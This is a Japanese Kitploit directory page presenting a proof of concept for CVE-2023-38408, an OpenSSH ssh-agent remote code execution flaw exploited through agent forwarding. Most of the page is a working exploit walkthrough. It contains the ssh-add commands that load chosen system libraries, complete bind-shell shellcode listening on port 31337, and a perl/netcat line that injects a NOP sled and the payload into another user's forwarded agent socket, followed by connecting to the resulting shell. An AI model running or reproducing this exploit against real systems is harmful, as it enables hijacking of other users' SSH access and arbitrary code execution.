Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2023-38408 — OpenSSH アカウント乗っ取り | Kitploit
ツール/GitHubGitHub/lucaspdiniz/cve-2023-38408
脆弱性分析エクスプロイトペネトレーションテスト学習と教育リモートアクセスツールペイロード開発
GitHublucaspdiniz/cve-2023-38408

CVE-2023-38408

OpenSSH アカウント乗っ取り

リポジトリを見る
45642年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

OpenSSHの脆弱性 - CVE-2023-38408 📚

はじめに

OpenSSH(9.3p2未満のバージョン)に脆弱性が見つかりました。OpenSSHのssh-agentにおけるPKCS#11機能には、検索パスの信頼性が不十分であり、エージェントが攻撃者の制御するシステムに転送された場合にリモートコード実行を引き起こす可能性があります(/usr/libのコードはssh-agentにロードしても必ずしも安全ではありません)。この欠陥により、サーバー上の転送されたエージェントソケットを制御し、クライアントホストのファイルシステムに書き込み可能な攻撃者が、ssh-agentを実行しているユーザーの権限で任意のコードを実行できます。

以下の例では、調査からaliceユーザーを侵害するまでの手順を簡単に確認できます。

  • ステップ1 - 攻撃者ユーザーがSSH経由でサーバーに接続します。
  • ステップ2 - ユーザー Alice もSSH経由でサーバーに接続しています。
  • ステップ3 - 攻撃者は、SSHプロセスを介してターゲットサーバーに送信するシェルコードを作成します。
  • ステップ4 - 攻撃者によって送信されたシェルコードは、ssh-agentのPKCS#11脆弱性を悪用し、新しいプロセスを作成してユーザーAliceのSSHアクセスを乗っ取ります。
  • ステップ5 - 攻撃者の通常のアクセスを通じて、Aliceユーザーとして運用コマンドを実行し、シェルコード内で作成されたエクスプロイトにnc localhost 31337を介してアクセスできます。

どうやって作る? POCを作成しよう

前述のように、このPOCではSSH経由でサーバーに接続している2人のユーザーを使用します。以下の手順に従うには、2人のユーザーがすでにサーバー(SSH)にアクセスできることを前提としています。

  1. リモートの攻撃者マシンで実行中のSSHエージェントのPIDを取得し、環境変数にエクスポートします。また、ssh-addを使用してファイル linuxx64.elf.stub (UEFIブートスタブ) を追加します。
root@kitploit:~
echo /tmp/ssh-*/agent.*
export SSH_AUTH_SOCK=/tmp/ssh-NqLP6il36s/agent.3452
ssh-add -s /usr/lib/systemd/boot/efi/linuxx64.elf.stub

  1. 次に、SSHを使用してシェルコードをプロセスにコピーするには、攻撃側のマシンで以下の手順を実行します。
root@kitploit:~
SHELLCODE=$'\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0\x4d\x31\xd2\x41\x52\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x7a\x69\x48\x89\xe6\x41\x50\x5f\x6a\x10\x5a\x6a\x31\x58\x0f\x05\x41\x50\x5f\x6a\x01\x5e\x6a\x32\x58\x0f\x05\x48\x89\xe6\x48\x31\xc9\xb1\x10\x51\x48\x89\xe2\x41\x50\x5f\x6a\x2b\x58\x0f\x05\x59\x4d\x31\xc9\x49\x89\xc1\x4c\x89\xcf\x48\x31\xf6\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05'
(perl -e 'print "\0\0\x27\xbf\x14\0\0\0\x10/usr/lib/modules\0\0\x27\xa6" . "\x90" x 10000'; echo -n "$SHELLCODE") | nc -U "$SSH_AUTH_SOCK"

最後に、シェルコードがエージェントのメモリに正常に配置されたら、Ctrl-C を押して netcat 転送を停止します。

  1. このステップでは、ssh-add を使用して3つのファイルをアップロードします; libttcn3-rt2-dynamic.so, libKF5SonnetUi.so.5.92.0, libns3.35-wave.so.0.0.0。 エクスプロイトプロセスの次のステップは、セグメンテーションフォルト(SIGSEGV)シグナルのシグナルハンドラを登録することです。

[!NOTE] SIGSEGV のトリガー 💬
SIGSEGV は、無効なメモリ参照(セグメンテーションフォルト)が発生したときにコンピュータプロセスに発行されるシグナルです。SIGSEGV シグナルを受信すると、カーネルは無効なメモリアクセスが発生したことを認識し、プログラムを突然終了させる代わりに、カスタムシグナルハンドラを呼び出します。これにより、攻撃者はプログラムの実行を操作し、NOP スライド内に注入された悪意のあるコードへと誘導する機会を得ます。

root@kitploit:~
ssh-add -s /usr/lib/titan/libttcn3-rt2-dynamic.so
[パスフレーズを入力]
ssh-add -s /usr/lib/x86_64-linux-gnu/libKF5SonnetUi.so.5.92.0
[パスフレーズを入力]
ssh-add -s /usr/lib/x86_64-linux-gnu/libns3.35-wave.so.0.0.0
[パスフレーズを入力]

  1. この時点で、攻撃者のサーバーへのSSHアクセスを介してユーザーAliceのエクスプロイトに成功し、以下のシェルコードによって作成されたコマンドを実行できます。 🔥
root@kitploit:~
nc localhost 31337

CVE-2023-38408は自分に影響しますか? ❓

この脆弱性は主に、OpenSSHのSSHエージェントが使用されており、エージェントの転送機能が有効になっているシステムに影響を与えます。OpenSSHに依存している組織や個人は、設定を迅速に評価して潜在的な曝露を判断する必要があります。ご使用のシステムが上記の条件に該当する場合は、CVE-2023-38408 に関連するリスクを軽減するために直ちに対策を講じることが重要です。

ツールをダウンロード